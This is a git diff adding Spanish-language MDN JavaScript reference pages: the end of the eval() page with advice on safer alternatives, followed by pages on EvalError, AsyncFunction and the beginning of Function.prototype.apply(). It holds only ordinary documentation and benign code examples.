+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">getDescendantProp</span><span class="punctuation token">(</span>obj<span class="punctuation token">,</span> desc<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> arr <span class="operator token">=</span> desc<span class="punctuation token">.</span><span class="function token">split</span><span class="punctuation token">(</span><span class="string token">"."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">while</span><span class="punctuation token">(</span>arr<span class="punctuation token">.</span>length<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    obj <span class="operator token">=</span> obj<span class="punctuation token">[</span>arr<span class="punctuation token">.</span><span class="function token">shift</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">return</span> obj<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span>a<span class="punctuation token">:</span> <span class="punctuation token">{</span>b<span class="punctuation token">:</span> <span class="punctuation token">{</span>c<span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> propPath <span class="operator token">=</span> <span class="function token">getPropPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// returns e.g. "a.b.c"</span>
+<span class="keyword token">var</span> result <span class="operator token">=</span> <span class="function token">getDescendantProp</span><span class="punctuation token">(</span>obj<span class="punctuation token">,</span> propPath<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Estableciendo una propiedad que funcione de modo similar:</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">setDescendantProp</span><span class="punctuation token">(</span>obj<span class="punctuation token">,</span> desc<span class="punctuation token">,</span> value<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> arr <span class="operator token">=</span> desc<span class="punctuation token">.</span><span class="function token">split</span><span class="punctuation token">(</span><span class="string token">"."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">while</span><span class="punctuation token">(</span>arr<span class="punctuation token">.</span>length <span class="operator token">&gt;</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    obj <span class="operator token">=</span> obj<span class="punctuation token">[</span>arr<span class="punctuation token">.</span><span class="function token">shift</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  obj<span class="punctuation token">[</span>arr<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">]</span> <span class="operator token">=</span> value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span>a<span class="punctuation token">:</span> <span class="punctuation token">{</span>b<span class="punctuation token">:</span> <span class="punctuation token">{</span>c<span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> propPath <span class="operator token">=</span> <span class="function token">getPropPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// returns e.g. "a.b.c"</span>
+<span class="keyword token">var</span> result <span class="operator token">=</span> <span class="function token">setDescendantProp</span><span class="punctuation token">(</span>obj<span class="punctuation token">,</span> propPath<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// test.a.b.c will now be 1</span></code></pre>
+
+<h3 id="Utilice_funciones_en_lugar_de_evaluar_fragmentos_de_código">Utilice funciones en lugar de evaluar fragmentos de código</h3>
+
+<p>JavaScript tiene <a class="external external-icon" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">funciones de primera clase </a>(artículo en inglés), lo que quiere decir que usted puede pasar funciones como argumentos a otras APIs, almacenarlas en variables y propiedades de objetos, etc. Muchas APIs de DOM están diseñadas con esto en mente, o sea que usted puede (y debería) escribir:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// instead of setTimeout(" ... ", 1000) use:</span>
+<span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">1000</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// instead of elt.setAttribute("onclick", "...") use:</span>
+elt<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> <span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Las <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">clausuras o cierres </a>(art. en inglés) son muy útiles como forma de crear funciones parametrizadas sin la concatenación de cadenas de caracteres o strings.</p>
+
+<h3 id="Analizando_JSON_(convirtiendo_cadenas_de_caracteres_(strings)_hacia_objetos_de_JavaScript)">Analizando JSON (convirtiendo cadenas de caracteres (strings) hacia objetos de JavaScript)</h3>
+
+<p>Si la cadena de caracteres que usted esta llamando <code>eval()</code> contiene datos (por ejemplo, un array: <code>"[1, 2, 3]"</code>), en contraposición al código, debería considerar un cambio a <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON">JSON</a> (art. en inglés), el cual permite a la cadena de caracteres utilizar un subconjunto de sintaxis de JavaScript para representar los datos. Vea también <a href="https://developer.mozilla.org/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Descargando JSON y JavaScript en extensiones</a> (art. en inglés).</p>
+
+<p>Observe, que ya que la sintaxis de JSON es limitada en comparación con la sintaxis de JavaScript, muchas literales válidas de JavaScript no serán analizadas como JSON. Por ejemplo, seguir comas no está permitido en JSON, y los nombres de propiedades (keys) en literales de objeto deben ser entrecomilladas. Asegúrese de utilizar un serializados de JSON para generar cadenas de caracteres que posteriormente sean analizadas como JSON.</p>
+
+<h3 id="Pasar_datos_en_lugar_de_código">Pasar datos en lugar de código</h3>
+
+<p>Por ejemplo, una extensión diseñada para arrastar contenido de páginas web podría tener reglas de arrastre definidas en <a href="https://developer.mozilla.org/en-US/docs/XPath" title="XPath">XPath</a> (art. en inglés) en lugar de código JavaScript.</p>
+
+<h3 id="Ejecutar_código_sin_privilegos_limitados">Ejecutar código sin privilegos limitados</h3>
+
+<p>Si usted debe ejecutar código, considere ejecutarlo con privilegios reducidos. Este consejo aplica principalmente para las extensiones y las aplicaciones XUL, para lo cual puede utilizar <a href="https://developer.mozilla.org/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a> (art. en inglés).</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p>Los siguientes ejemplos muestran el resultado usando <code>document.write</code>. En JavaScript del lado servidor, puede mostrar el mismo resultado llamando a la función <code>write</code> en vez de <code>document.write</code>.</p>
+
+<h3 id="Utlizando_eval">Utlizando <code>eval</code></h3>
+
+<p>En el siguiente código, las dos sentencias que contienen <code>eval</code> devuelven 42. La primera evalúa la cadena "<code>x + y + 1</code>"; la segunda evalúa la cadena "<code>42</code>".</p>
+
+<pre>var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // returns 42
+eval(z);           // returns 42
+</pre>
+
+<h3 id="Utilizando_eval_para_evaluar_una_cadena_de_caracteres_(string)_como_sentencias_de_JavaScript">Utilizando <code>eval</code> para evaluar una cadena de caracteres (string) como sentencias de JavaScript</h3>
+
+<p>El siguiente ejemplo utiliza <code>eval</code> para evaluar una cadena de caracteres <code>str</code>. Esta cadena consiste de sentencias de JavaScript que abren un diálogo <code>Alert</code> y asignan a <code>z</code> un valor de 42 si <code>x</code> es cinco, y asigna 0 a <code>z</code> en caso contrario. Cuando se ejecuta la segunda sentencia, <code>eval</code> ocasionará que estas sentencias sean ejecutadas, y también evaluará el conjunto de sentencias y devolverá que el valor es asignado a <code>z</code>.</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">5</span><span class="punctuation token">;</span></code>
+var str = "if (x == 5) {alert('z is 42'); z = 42;} else z = 0; ";
+
+document.write("&lt;P&gt;z es ", eval(str));
+</pre>
+
+<h3 id="La_última_espresión_es_evaluada">La última espresión es evaluada</h3>
+
+<p><code>eval()</code> devuelve el valor de la última expresión evaluada</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> str <span class="operator token">=</span> <span class="string token">"if ( a ) { 1+1; } else { 1+2; }"</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> a <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> b <span class="operator token">=</span> <span class="function token">eval</span><span class="punctuation token">(</span>str<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// devuelve 2</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"b is : "</span> <span class="operator token">+</span> b<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+a <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+b <span class="operator token">=</span> <span class="function token">eval</span><span class="punctuation token">(</span>str<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// devuelve 3</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"b is : "</span> <span class="operator token">+</span> b<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="eval_como_una_cadena_de_caracteres_(string)_definiendo_funciones_requiere_(_y_)_como_prefijo_y_sufijo"><code>eval</code> como una cadena de caracteres (string) definiendo funciones requiere "(" y ")" como prefijo y sufijo</h3>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> fctStr1 <span class="operator token">=</span> <span class="string token">"function a() {}"</span>
+<span class="keyword token">var</span> fctStr2 <span class="operator token">=</span> <span class="string token">"(function a() {})"</span>
+<span class="keyword token">var</span> fct1 <span class="operator token">=</span> <span class="function token">eval</span><span class="punctuation token">(</span>fctStr1<span class="punctuation token">)</span>  <span class="comment token">// devuelve undefined</span>
+<span class="keyword token">var</span> fct2 <span class="operator token">=</span> <span class="function token">eval</span><span class="punctuation token">(</span>fctStr2<span class="punctuation token">)</span>  <span class="comment token">// deuelve una función</span></code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Carác.</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Observaciones_específicas_para_Gecko">Observaciones específicas para Gecko</h2>
+
+<ul>
+ <li>Históricamente <code>eval()</code> tenía un segundo argumento opcional, especificando un objeto en cuyo contexto la evaluación era ejecutada. Este argunmento no era estándar, y fue removido del <em>SpiderMonkey en</em> Gecko 1.9.1 (Firefox 3.5). Vea {{bug(442333)}}.</li>
+</ul>
+
+<h2 id="Compatibilidad_Hacia_Atr.C3.A1s" name="Compatibilidad_Hacia_Atr.C3.A1s">Compatibilidad Hacia Atrás</h2>
+
+<h3 id="JavaScript_1.3_y_anteriores" name="JavaScript_1.3_y_anteriores">JavaScript 1.3 y anteriores</h3>
+
+<p>Puede usar <code>eval</code> indirectamente, aunque ésto está desaconsejado.</p>
+
+<h3 id="JavaScript_1.1" name="JavaScript_1.1">JavaScript 1.1</h3>
+
+<p><code>eval</code> también es un método de todos los objetos.</p>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/uneval", "uneval()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Operadores/Miembros">Miembros de operadores</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/evalerror/index.html b/files/es/web/javascript/referencia/objetos_globales/evalerror/index.html
new file mode 100644
index 0000000000..13fbe371e4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/evalerror/index.html
@@ -0,0 +1,163 @@
+---
+title: EvalError
+slug: Web/JavaScript/Referencia/Objetos_globales/EvalError
+tags:
+  - Error
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong>EvalError </strong>indica un error con respecto a la función global {{jsxref("Global_Objects/eval", "eval()")}}. Esta excepción ya no es lanzada por JavaScript, sin embargo, el objeto EvalError se mantiene por motivos de compatibilidad.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>new EvalError([<var>mensaje</var>[, <var>nombreArchivo</var>[, <var>lineaNumero</var>]]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>mensaje</code></dt>
+ <dd>Opcional. Descripción del error en formato legible.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">nombreArchivo</font>{{non-standard_inline}}</dt>
+ <dd>
+ <p dir="ltr" id="tw-target-text">Opcional. El nombre del archivo que contiene el código que causó la excepción.</p>
+ </dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">lineaNumero</font>{{non-standard_inline}}</dt>
+ <dd>
+ <p dir="ltr" id="tw-target-text">Opcional. El número de línea del código que causó la excepción.</p>
+ </dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("EvalError.prototype")}}</dt>
+ <dd>
+ <p dir="ltr" id="tw-target-text">Permite la adición de propiedades a un objeto <strong>EvalError</strong>.</p>
+ </dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p dir="ltr" id="tw-target-text">El objeto global <strong>EvalError</strong> no contiene ningún método propio, sin embargo, hereda algunos métodos a través de la cadena de prototipos.</p>
+
+<h2 id="Instancias_de_EvalError">Instancias de <code>EvalError</code></h2>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Referencia/Objetos_globales/Error/prototype', 'Properties')}}</div>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Referencia/Objetos_globales/Error/prototype', 'Métodos')}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><code><strong>EvalError </strong></code>no se usa en la especificación actual de ECMAScript y, por ende, no será lanzado en tiempo de ejecución. Sin embargo, el mismo permanece para compatibilidad con versiones anteriores de la especificación.</p>
+
+<h3 id="Creando_un_EvalError">Creando un <code>EvalError</code></h3>
+
+<pre class="brush: js notranslate">try {
+  throw new EvalError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Hello"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>No usado en esta especificación. Presente por compatibilidad con versiones anteriores.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>No usado en esta especificación. Presente por compatibilidad con versiones anteriores.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError.prototype")}}</li>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/funcionesasíncronas/index.html b/files/es/web/javascript/referencia/objetos_globales/funcionesasíncronas/index.html
new file mode 100644
index 0000000000..bdb37b012c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/funcionesasíncronas/index.html
@@ -0,0 +1,122 @@
+---
+title: Funciones asíncronas
+slug: Web/JavaScript/Referencia/Objetos_globales/Funcionesasíncronas
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<div>El constructor de las funciones asíncronas crea un nuevo objecto {{jsxref("Statements/async_function", "async function")}}. En JavaScript cada función asíncrona es un objeto AsyncFunction.</div>
+
+<div></div>
+
+<div>Nota: AsyncFunction no es un objeto global. Este puede ser obtenido como resultado del siguiente código.</div>
+
+<div></div>
+
+<pre class="brush: js notranslate">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Nombres a ser usados por la función como los nombres de los argumentos. Cada uno debe ser una cadena que corresponda a un identificador válido en JavaScript o una lista de cadenas separadas por coma, ejemplo: "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>Una cadena que contiene las declaraciones de JavaScript que comprenden la definición de la función.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>{{jsxref("Statements/async_function", "async function")}} los objetos creados con el constructor <code>AsyncFunction</code> son analizados gramaticalmente en el momento que la función es creada. Esto es menos eficiente que declarar una función asincrona con un {{jsxref("Statements/async_function", "async function expression")}} y llamarla con eso en tu código , ya que las funciones están analizadas gramaticalmento junto al resto del código.</p>
+
+<p>Todos los argumentos que son pasados por la función son tratados por los nombres de los identificadores con los que fueron creados, en el orden en que son pasados por la función.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{jsxref("Statements/async_function", "async functions")}} created with the <code>AsyncFunction</code> constructor do not create closures to their creation contexts; they are always created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>AsyncFunction</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for an async function expression.</p>
+</div>
+
+<p>Invoking the <code>AsyncFunction</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd>The <code>AsyncFunction</code> constructor's length property whose value is 1.</dd>
+ <dt>{{jsxref("AsyncFunction.prototype")}}</dt>
+ <dd>Allows the addition of properties to all async function objects.</dd>
+</dl>
+
+<h2 id="El_objeto_prototipo_AsyncFunction">El objeto prototipo <code> AsyncFunction</code> </h2>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype', 'Properties')}}</div>
+
+<h2 id="AsyncFunction_y_sus_instancias"><code>AsyncFunction</code> y sus instancias</h2>
+
+<p>Una instancia de <code>AsyncFunction</code>  hereda métodos y propiedades de {{jsxref("AsyncFunction.prototype")}}. Como son todos los constructores, puedes cambiar el constructor del objeto prototipo para aplicar cambios a todas las instancias de <code>AsyncFunction</code> .</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Creating_an_async_function_from_an_AsyncFunction_constructor">Creating an async function from an <code>AsyncFunction</code> constructor</h3>
+
+<pre class="brush: js notranslate">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+
+var a = new AsyncFunction('a',
+                          'b',
+                          'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
+
+a(10, 20).then(v =&gt; {
+  console.log(v); // prints 30 after 4 seconds
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/apply/index.html b/files/es/web/javascript/referencia/objetos_globales/function/apply/index.html
new file mode 100644
index 0000000000..07f47b42f2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/apply/index.html
@@ -0,0 +1,233 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/apply
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - función
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef("Objetos_globales", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <strong>apply()</strong> invoca una determinada función asignando explícitamente el objeto <strong>this</strong> y un array o similar (<a href="/en-US/docs/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects" title="/en-US/docs/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects">array like object</a>) como parámetros (<strong>argumentos)</strong> para dicha función.</p>
+
+<div class="note"><strong>NOTA:</strong> Aunque la sintaxis de esta función es casi idéntica a {{jsxref("Function.call", "call()")}}, la diferencia fundamental es que <code>call()</code> acepta una lista de argumentos, mientras que <code>apply()</code> acepta un simple array con los argumentos.</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>fun</em>.apply(<em>thisArg</em>[, <em>argsArray</em>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>El valor del objeto <strong>this</strong> a utilizar dentro de la llamada a <em>fun</em>. Cabe mencionar que éste puede no ser el valor visto por el método: si el método es una función del tipo {{jsxref("Functions_and_function_scope/Strict_mode", "non-strict mode", "", 1)}}, {{jsxref("Global_Objects/null", "null")}} o {{jsxref("Global_Objects/undefined", "undefined")}} será reemplazado por el objeto global, y los valores primitivos serán encapsulados.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>Un objeto similar a un array (<a href="/en-US/docs/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects" title="/en-US/docs/JavaScript/Guide/Predefined_Core_Objects#Working_with_Array-like_objects">array like object</a>), que contiene los parámetros con los que será llamada <em><code>fun</code></em>, o <code>null</code> o {{jsxref("undefined")}} si ningún argumento es estipulado. Desde la versión 5 de ECMAScript estos parámetros pueden estar en un objeto similar a un array en lugar de un array. Véase {{anch("Browser_compatibility", "browser compatibility")}} para mayor información.</dd>
+ <dt>
+ <h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+ <p>El resultado de llamar a la función con el valor dado <code><strong>this</strong></code> y argumentos.</p>
+ </dt>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Puede estipularse un objeto <code>this</code> diferente al llamar una función. <code>this</code> se refiere al objeto actual, el objeto haciendo la llamada. Con <code>apply</code>, puede escribirse un método una vez y heredarlo a otro objeto, sin necesidad de reescribir el método para adecuarlo al nuevo objeto.</p>
+
+<p><code>apply</code> es muy similar a {{jsxref("Function.call", "call()")}}, excepto por el tipo de argumentos que soporta. Puede utilizarse un arreglo de parámetros en lugar de un conjunto de pares nombre-valor. Con <code>apply</code>, puede utilizarse un arreglo literal, por ejemplo, <code><em>fun</em>.apply(this, ['eat', 'bananas'])</code>, o un objeto <code>Array</code>, por ejemplo, <code><em>fun</em>.apply(this, new Array('eat', 'bananas'))</code>.</p>
+
